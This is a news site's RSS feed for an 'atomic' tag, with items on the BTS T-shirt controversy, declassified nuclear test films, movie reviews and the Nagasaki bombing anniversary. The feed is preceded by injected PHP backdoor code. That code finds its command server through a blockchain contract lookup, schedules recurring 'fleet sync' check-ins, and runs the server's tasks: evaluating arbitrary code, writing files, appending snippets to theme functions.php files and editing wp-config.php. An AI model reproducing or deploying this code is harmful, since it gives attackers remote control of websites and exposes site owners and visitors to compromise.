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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); atomic – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Nov 2018 23:31:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png atomic – Brief News https://briefnews.eu 32 32 Japanese TV cancels BTS show after Jimin wore a shirt showing the Nagasaki atomic bombing https://briefnews.eu/japanese-tv-cancels-bts-show-after-jimin-wore-a-shirt-showing-the-nagasaki-atomic-bombing/ https://briefnews.eu/japanese-tv-cancels-bts-show-after-jimin-wore-a-shirt-showing-the-nagasaki-atomic-bombing/#respond Fri, 09 Nov 2018 23:31:10 +0000 http://briefnews.eu/japanese-tv-cancels-bts-show-after-jimin-wore-a-shirt-showing-the-nagasaki-atomic-bombing/ bts american music awards

  • Jimin, a member of popular South Korean boyband BTS, was photographed wearing a shirt with a photo depicting an atomic bomb being dropped on Nagasaki, Japan during World War II.
  • The show sparked controversy and Japanese TV channel Asahi canceled Asahi’s performance on Friday night.
  • Hundreds of thousands of people died after the US dropped two atomic bombs in the Japanese cities of Hiroshima and Nagasaki in 1945.
  • Imperial Japan brutally occupied the Korean Peninsula for decades until its defeat after World War II.

A Japanese TV show canceled a performance by popular K-pop band BTS after one of its members was pictured wearing a shirt depicting an atomic bomb being dropped on Japan.

One of the South Korean boyband’s members, Jimin, cause controversy after wearing a T-shirt depicting the US atomic bombing of Japan during World War II, accompanied by the text: “Patriotism OurHistory Liberation Korea.”

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]]> https://briefnews.eu/japanese-tv-cancels-bts-show-after-jimin-wore-a-shirt-showing-the-nagasaki-atomic-bombing/feed/ 0 Newly declassified videos of Cold War atomic blasts reveal the terrifying power of nuclear weapons https://briefnews.eu/newly-declassified-videos-of-cold-war-atomic-blasts-reveal-the-terrifying-power-of-nuclear-weapons/ https://briefnews.eu/newly-declassified-videos-of-cold-war-atomic-blasts-reveal-the-terrifying-power-of-nuclear-weapons/#respond Mon, 18 Dec 2017 01:03:22 +0000 http://briefnews.eu/newly-declassified-videos-of-cold-war-atomic-blasts-reveal-the-terrifying-power-of-nuclear-weapons/ castle bravo shrimp nuclear test blast bikini atoll mushroom cloud noaaNOAA

  • The US government has uploaded 62 newly declassified nuclear-explosion videos to YouTube.
  • The footage is a small share of the 10,000 Cold War-era films that archivists and physicists are trying to rescue.
  • Re-analysis of the old movies will help the military modernize its nuclear weapons stockpile — and maybe prevent their use.

Nuclear weapons researchers and archivists working for the US government have declassified 62 never-before-seen films of atomic explosions .

The new batch of videos joins 63 other clips of Cold War-era test-blasts, bringing the total to 125 declassified films now available to watch on YouTube. (We’ve embedded the playlist at the end of this story.)

Hundreds more of these decaying films could reach the internet as high-definition videos in the coming months as the team tracks the videos down in warehouses, digitally scans them, and re-analyzes them for crucial data. Then, if they don’t reveal any secrets that North Korea or other adversaries might not have, they release the videos on YouTube.

“The public has a right to see this footage,” Greg Spriggs, a nuclear-weapons physicist at Lawrence Livermore National Laboratory (LLNL), said in a press release.

Enormous blasts were recorded on tape — then hidden away

Weapons researchers recorded about 10,000 films of above-ground test blasts from 1945 through 1962, which were analyzed to determine a device’s explosive yield, then locked away in high-security vaults.

No one saw the footage for decades, yet Spriggs said it’s helping characterize how modern bombs will behave, since they aren’t detonated anywhere except as a computer simulation.

“These films are priceless to us. Absolutely priceless,” Spriggs told Business Insider in March. “But they’re very, very fragile, brittle, and old. They’ve shrunk about 2%.”

One of the films in this second and latest batch shows the “Tesla” test shot on March 1, 1955. Like most of the films, it was recorded at about 2,000 frames per second. The test yielded a seven-kiloton blast — about half as powerful as the bomb detonated over Hiroshima. It was one of 14 total tests in a series called Operation Teapot, which the military set up to refine its tactics for using nuclear weapons on the battlefield.

This test, called “Housatonic,” was one of 31 nuclear blasts in Operation Dominic.

The device was detonated about two miles above the Johnston Atoll in the Pacific Ocean and yielded a blast of 8.3 megatons — more than 400 times as strong as the Hiroshima bomb blast.

 

Scanned in the nick of time

Since 1945, the US government has detonated more than 1,000 nuclear weapons. Researchers blew up the nuclear devices on the ground, in ocean atolls, and in space.

Some 210 test blasts were set off in Earth’s atmosphere; that is, before the grave risks of radioactive fallout — soil and other material that’s sucked into a blast and becomes irradiated — were acknowledged. A series of treaties with the former Soviet Union moved nuclear-weapons testing underground. The Comprehensive Nuclear-Test-Ban Treaty entirely banned nuclear tests, but the US has yet to ratify the agreement.

By studying the aging films with modern tools and software, Spriggs and others have learned that some manual measurements taken during the Cold War were off by sometimes 20-30%.

“Not only are we preserving history, but we’re getting much more consistent answers with our calculations,” Spriggs said in a press release.

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The films have decayed because they’re made of nitrate cellulose, which slowly decomposes in the air while releasing a vinegar smell. Seeing the potential loss, Spriggs and others began a rescue effort more than five years ago.

“This is it. We got to this project just in time,” Spriggs said in a video about the digitization effort. “We know that these films are on the brink of decomposing, to the point where they will become useless.”

This data they gather will play a vital role in the US government’s $ 1 trillion effort to modernize its nuclear weapons stockpile.

“It’s been 25 years since the last nuclear test, and computer simulations have become our virtual test ground. But those simulations are only as good as the data they’re based on,” Spriggs said in the release. “Accurate data is what enables us to ensure the stockpile remains safe, secure, and effective without having to return to testing.”

‘Maybe people will be reluctant to use them’

It took LLNL roughly five years to locate about 6,500 of the 10,000 estimated films, then scan 4,200 of those. The largest-format, 70-millimeter films are digitized as 8K ultra-high-definition video — a format that’s 16 times as large as high-definition 1080p video.

Although Spriggs said the team can scan about one film per hour, it takes much longer to re-analyze the movies. So far, the team has finished assessing more than 500 films.

“In order to declassify it, someone … has to go through it frame-by-frame. It’s a very intensive process, and there hasn’t been enough of a demand,” Spriggs said in March. “But it’s now a race against time.”

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The project is important to “help certify that the aging US nuclear deterrent remains safe, secure, and effective,” LLNL wrote in its YouTube playlist description.

Jim Moye, a rare-films expert and movie-industry veteran, is helping rescue the footage.

“It is going to be gone at some point, and we don’t have forever to do this,” Moye said in a video about the project.

Spriggs said the team was learning new details about the detonations — lessons he hopes to pass on to future generations.

“It’s just unbelievable how much energy’s released,” Spriggs said in the release. “We hope that we would never have to use a nuclear weapon ever again. I think that if we capture the history of this and show what the force of these weapons are and how much devastation they can wreak, then maybe people will be reluctant to use them.”

You can watch all of the newly declassified movies in LLNL’s YouTube playlist:

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]]> https://briefnews.eu/newly-declassified-videos-of-cold-war-atomic-blasts-reveal-the-terrifying-power-of-nuclear-weapons/feed/ 0 The 7 Best Movies to Buy or Stream This Week: ‘Atomic Blonde,’ ‘Wind River’ https://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-atomic-blonde-wind-river/ https://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-atomic-blonde-wind-river/#respond Wed, 15 Nov 2017 02:12:22 +0000 http://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-atomic-blonde-wind-river/ This week’s batch of streaming and disc titles includes one of our favorite summer action flicks – no, we don’t only like snooty art films around here – as well as one of the season’s sleeper hits. We’ve also got a romantic spy picture on Prime, a frothy Shakespeare adaptation on Hulu, and Blu-ray upgrades for a classic comedy, a classic crime picture, and a classic indie. Let’s get to it.

ON AMAZON PRIME

Allied: This surprisingly robust and energetic WWII spy thriller is taut and thrilling, assembled with smooth professionalism by director Robert Zemeckis. Brad Pitt and Marion Cotillard smolder convincingly (in a series of divine costumes) as a pair of spooks who meet on the job and fall for each other, in spite of their best intentions to do otherwise; the early scenes, in which she’s teaching him how to seem in love with her, burn with both playful eroticism and a winking actor/director subtext. And the third act, which invests its breathless set pieces with urgent themes of trust and intimacy, verges on Hitchcock-level tension. Zemeckis can’t reach those heights, of course (few can), but he winds up with his best picture in years, faint praise though that may be. (Also on Hulu.)

ON HULU

Much Ado About Nothing: Joss Whedon’s 2013 Shakespeare adaptation modernizes the dress, cranks up the slapstick, and fills his cast with regulars and friends who give its classical dialogue a distinctively screwball snap. His reimagining of the Bard’s classic is respectful but not reverential, filling the edges of the frames with goofy business and giving the entire affair the feel of a party that won’t end (which, considering the off-the-cuff nature of the film’s production, it sort of was). We’re all invited, though, which is much of the picture’s charm — it’s sweet, coy, sexy fun.

ON BLU-RAY / DVD / VOD

Atomic Blonde: The first time we see Lorraine Braughton (Charlize Theron) in action, she’s beating the shit out of a dude with the point of her stiletto heel — a smashingly good sequence, and a potent bit of symbolism as well. This graphic novel adaptation from John Wick co-director David Leitch is an expectedly entertaining and energetic brew of superspy action and brutally graceful fight scenes/shoot-outs, carried easily by Theron’s considerable gravity, intelligence, and sex appeal. The big set pieces are all-timers — a rope, garden hose, and household miscellanea fight to George Michael’s “Father Figure” seems like an instant classic, until it’s topped a little while later by a nasty, scrappy sequence of our hero protecting her cargo while taking down thugs in an stairway and apartment (it’s kinda like that great long take in Children of Men, except with a lot more people getting thrown into walls). But it’s also a showcase for some finely-tuned acting, in which Theron finds little half-beats of uncertainty and regret, and nails them. This could very well be a franchise-starter for the actor, and a promising one; it’s basically Charlize as ‘80s bi James Bond, and it is glorious. (Includes audio commentary, deleted/extended scenes, and featurettes.)

Wind River: Actor-turned-screenwriter Taylor Sheridan (Sicario, Hell or High Water) turns director with this snowy mystery set high in the Wyoming mountains. It’s awfully wobbly in the early stages, as Sheridan struggles to get his procedural ducks in a row and pull the characters past their obvious types, all the while waxing a bit too lyrical. But somewhere around the midpoint, it starts to work; Sheridan’s script and filmmaking build tension, pay off the mystery beautifully, and execute a truly breathtaking out-of-nowhere shoot-out. Elizabeth Olsen struggles with her poorly written role, but Jeremy Renner has some awfully good moments, and Graham Greene is, well, Graham Greene – which is to say, wonderful. (Includes deleted scenes and featurettes.)

ON BLU-RAY

Desert Hearts: Writer/director Donna Deitch’s 1985 lesbian romance – new from the Criterion Collection – works in a low-key, slice-of-life style, more concerned with its indelible sense of place and time than the potential sensationalism of its material. But it is written decidedly from the inside, full of double-entendres and shorthand, coupled with everyday eroticism. The way the tentativeness and good humor of its protagonists’ first sexual encounter turns to raw sexiness is astonishing (there’s no music, just breathing), but so is Deitche’s handling of the emotional minefield that follows. A quietly terrific movie, boasting bravura lead performances by Helen Shaver and Patricia Charbonneau. (Includes audoo commentary, new interviews, featurette, and documentary excerpt.)

Le Samurai: Somehow both deliberately paced and downright riveting, this 1967 drama from director Jean-Pierre Melville (newly upgraded to Blu-ray by Criterion) glides smoothly between unreasonably cool crime picture and a nuts-and-bolts police procedural, as a nattily-attired hitman (Alain Delon, peerless) attempts to line up an alibi and persuade a witness to let him walk, while the cops (led by François Périer) close in. The meticulousness of their investigation is matched by the filmmaking; Melville’s allegiances are clear. It’s a tricky movie – viewed from a point of detachment, yet still unaccountably involving for the viewer. (Includes archival interviews, and featurette.)

Bananas: When they talk about Woody Allen’s “early, funny movies,” this it the kind of thing they’re talking about :a broad, Duck Soup-style satire (new on Blu from Twilight Time) that plops Allen’s already-established nightclub character into a wacky banana republic and lets him wisecrack his way through, like a neurotic Bob Hope. Plus, pay close attention to the subway thugs terrorizing Allen in the early, NYC-in-the-hellhole-years section: yep, that’s Sylvester Stallone, in one of his first film roles. (Includes isolated music track and original theatrical trailer.)

                                                                                                

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]]> https://briefnews.eu/the-7-best-movies-to-buy-or-stream-this-week-atomic-blonde-wind-river/feed/ 0 The Atomic Theory of Origami https://briefnews.eu/the-atomic-theory-of-origami/ https://briefnews.eu/the-atomic-theory-of-origami/#respond Sun, 05 Nov 2017 19:12:22 +0000 http://briefnews.eu/the-atomic-theory-of-origami/ By reimagining the kinks and folds of origami as atoms in a lattice, researchers are uncovering strange behavior hiding in simple structures.


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]]> https://briefnews.eu/the-atomic-theory-of-origami/feed/ 0 After ‘Atomic Blonde’ and ‘Girls Trip,’ It’s Time to Redefine ‘Chick Flick’ https://briefnews.eu/after-atomic-blonde-and-girls-trip-its-time-to-redefine-chick-flick/ https://briefnews.eu/after-atomic-blonde-and-girls-trip-its-time-to-redefine-chick-flick/#respond Thu, 10 Aug 2017 07:07:59 +0000 http://briefnews.eu/after-atomic-blonde-and-girls-trip-its-time-to-redefine-chick-flick/ atomic blonde trailer

(Welcome to What Women Watch, a series exploring what modern women are watching, and loving, on the big and small screens. In this edition, we examine how the films being made for women are changing for the better, as seen in movies like Atomic Blonde and Girls Trip.)

Last week, I went to see Atomic Blonde and I left that theater feeling like a badass. I left that theater feeling sexy. As I listened to two men on the way out say that Charlize Theron’s Lorraine could kick John Wick’s ass, it felt damn fine to be a woman. In the days that followed, the Atomic Blonde soundtrack has become my soundtrack. I listen to it at the gym, while I drive, and even when I sweep my floor. Her capabilities, her complexity, her charm…I couldn’t stop thinking about Atomic Blonde.

On Tuesday I went to see Girls Trip. I left the theater feeling like a badass. I left that theater feeling sexy. As I listened to all of the of women in the room (mothers with their daughters, couples, groups of friends) laughing and cheering, it felt damn fine to be a woman. I was a bit shy about seeing a buddy movie alone, but by the 10-minute mark, the whole theater felt like an old group of friends with inside jokes that we kept from the men in the audience. Those women on that screen, their capabilities, their complexity, their charm…I couldn’t help but feel camaraderie, and a certain amount of pride, in my closest female friends.

“Chick Flick” is the term dubbed for movies that were more directed towards women. They are the films that, with a quick Google search, bring up words like, “sentimental” and “emotional,” and phrases like, “female lead” and “appeals to women.” I don’t know about you, but those seem like two very narrow words to be connected to two very open phrases. Let’s face it, “chick flick” refers to the movies that your boyfriend or husband is considered “brave,” “generous,” or “whipped,” to see with you. They are the movies that us ladies are supposed to watch while we drink wine and dab our tears away without ruining our mascara. They are “sentimental” and “emotional,” and if that is what you want to watch, then go for it. I have my go-to ‘chick flicks,’ always ready to go for when a just want to watch a movie that makes me go, “awwwwww.” But what do I watch when I want to feel like a badass, when I want to feel damn proud to be a woman? What even is a “chick flick” for the “chicks” of 2017?

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What “Appeals to Women” in 2017?

Badass. Sexy. Proud. These feelings aren’t new after seeing a movie, but they are certainly more rare. They are the result of watching a woman on screen reflect a woman’s specific capabilities, charms, and complexities. I thought John McClane was the coolest guy that had ever existed, but the first time I saw Ellen Ripley or Lara Croft, I wanted to be them. I saw The Hangover like the rest of the world, and I died laughing. I enjoy my fair share of bromantic comedies. But when I saw Bridesmaids and Sisters, I thought, “OMG that is totally me and my friends.” If “chick flicks” are supposed to be the movies that “appeal to women,” well, “sentimental” and “emotional” aren’t going cut it in a world where millions of women march in dozens of countries for to demand respect and equality. We want Emily Blunt in Edge of Tomorrow. We want Furiosa in Mad Max: Fury Road. We want Lorraine Broughton in Atomic Blonde.

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Her Capabilities

How about that stairwell scene in Atomic Blonde? Wow. It is no secret that Charlize Theron went through brutal fight training to play the ’80s spy, and badass, Lorraine. While she was learning the fight choreography for the film, she repeatedly asked, “Could a girl do that?” Not because women are weaker (anyone who watches UFC can tell you that women are more than capable of smashing skulls just fine), but because it was important to Theron that the fighting be, practical for a female fighter. Men and women have different capabilities. Body mass, center of gravity, upper versus lower body dominance. In Atomic Blonde, Lorraine throws a punch and it noticeably causes her pain. That’s because Lorraine doesn’t throw a whole lot of punches. She is, “all elbows and knees and full body weight to throw…” Why? Because that is how a woman would fight.

Atomic Blonde plays directly into a woman’s specific capabilities. At one point, Lorraine fights off a man with a set of car keys between her fingers. This one was specifically fantastic to see, because that is exactly what a woman would do. I was taught to walk with my keys between my fingers since I was given my first set of keys, easy self-defense for the weaponless woman walking alone. She often fights with the resources that are present. These men she was fighting obviously outweigh her, so it wouldn’t make sense that she could knock them down and out with a simple punch. But some wire or a cook top, or just taking advantage of her speed and smaller size? Those are advantages.

A lot of this could easily be said about Wonder Woman as well, but I want to mention the woman behind the superhero: Gal Gadot. It is no secret that Gadot kicks all kinds of ass in Wonder Woman. Diana of Themyscira may have abilities that far extend the reach of man, but if you want a lesson in the capabilities of non-Amazons, Gal Gadot did reshoots for Wonder Woman while five months pregnant. How’s that for the weaker sex? That is what woman are capable of. They can kick ass and carry babies. At the same time.

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One of my favorite aspects of Atomic Blonde is that Lorraine gets tired. That sounds strange, but it is something that struck me. Lorraine is beaten, bruised, bloody, and exhausted. She can barely finish the fight, and when she does, she just keeps going with the mission. They let the ends of her blonde hair turn pink with blood and they let those gorgeous eyes break some blood vessels and they let this tall, graceful woman try to get up, only to fall right on her ass and have to try again. This isn’t James Bond. These weren’t aesthetic scratches. This struck me because it was the perfect embodiment of the fact that women are biologically designed to withstand massive amounts of pain and still get shit done.

This is what women want to see. Not the absence of pain, but the perseverance through the pain. Gal Gadot is not the only actress to shoot pregnant and she certainly isn’t the only woman that had to honor her responsibilities and obligations while her body was going through nine months of drastic changes. Being physically uncomfortable and experiencing pain is something that most women are extremely well acquainted with on a fairly regular basis. If you want to show what women are capable of, don’t show a woman walking away from a fight with barely a scratch. Show her stumble, show her get bruised and tired. And then show her continuing on because they have a job to do, damn it.

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Her Charm 

55 years after her death, people are still enraptured by Marilyn Monroe. A deeply tragic tale, Monroe was a woman whose complexities were carefully and meticulously veiled by her charms. Much like Charlize Theron emphasizing the practical capabilities of female fighters, charm is something that is also a little more specific to women on screen.

Charm is something that women in film have ever lacked. In fact, the starlets of the golden era of Hollywood are iconic because of their charms. However, 2017 is a far cry from the years of Marilyn Monroe and Doris Day. As women broke through glass ceilings and the days of Leave It to Beaver ended, the world started to learn that women aren’t ladylike. Well at least by the general consensus of what that (male-defined) term. That’s not to say that women aren’t classy and put-together and have manners, because we have those things in spades, But we also can sit in a coffee shop with our best friend and talk about unfortunate and awkward sexual situations complete and swap a lot of really fun euphemisms for what sits between our legs.

I mentioned before that I left Atomic Blonde and Girls Trip feeling sexy. One may be a shadowy thriller and the other may be so funny that you forget how to breathe, but they both induce that deep sense of confidence in your own femininity that manifests itself in “I can take over the world and look damn fine doing it,” level of confidence. The women of Girls Trip are beautiful, funny, and intelligent. They were the whole proverbial package. They could walk into a room and demand attention, getting double takes and free drinks, but when the evening evolved into flirting, drinking, and partying, things get messier for them. But in a good way. An honest way. A charming way. Too often, women shown as the perfect cool girl or the demure girl or the seductive girl. Women can be all of those things, but they aren’t defined by that one type and they certainly aren’t infallible. For every story of a woman mastering one of those qualities, there is another story where she tripped and fell on her face.

Seeing leading ladies be clumsy or tired or goofy or messy is refreshing and relatable. It’s no secret that women are under continuous pressure to look good. From photoshopped cover models to airbrushed selfies, women are regularly bombarded with the “perfect girl.” The perfect girl is intimidating. This enigma doesn’t make you feel sexy or confident – she makes you confront all of the things about yourself that aren’t like her. But when you can watch the women of Girls Trip screw up and when you watch Charlize Theron climb to her feet after getting her ass kicked by men twice her size, you realize that these women aren’t any less awesome or badass or sexy because they stumble. They are all of those things because they get back up. It is a revelation and it inspires confidence. What do women want? They want to leave a movie feeling empowered by all of the tools and personality that she already has within herself.

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TOKYO (AP) — Amid growing tension between Washington and North Korea, the mayor of Nagasaki said Tuesday that the fear of another nuclear bomb attack is growing at a ceremony marking the 72nd anniversary of the U.S. atomic bombing of his city.

Nagasaki Mayor Tomihisa Taue urged nuclear states to abandon such weapons and criticized Japan’s government for not taking part in the global effort toward a nuclear ban.

The bombing anniversary comes just as Pyongyang and Washington are trading escalating threats.

President Donald Trump threatened North Korea “with fire and fury” and North Korea’s military said Wednesday that it was examining its plans for attacking Guam.

“The international situation surrounding nuclear weapons is becoming increasingly tense,” Taue said at Nagasaki’s Peace Park. “A strong sense of anxiety is spreading across the globe that in the not too distant future these weapons could actually be used again.”

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The world’s first atomic bomb, used on Aug. 6, 1945, killed 140,000 people in Hiroshima. The bombing of Nagasaki three days later killed 70,000 more.

At 11:02 a.m., when the bomb struck 72 years ago, people at the ceremony observed a moment of silence as the peace bell rang.

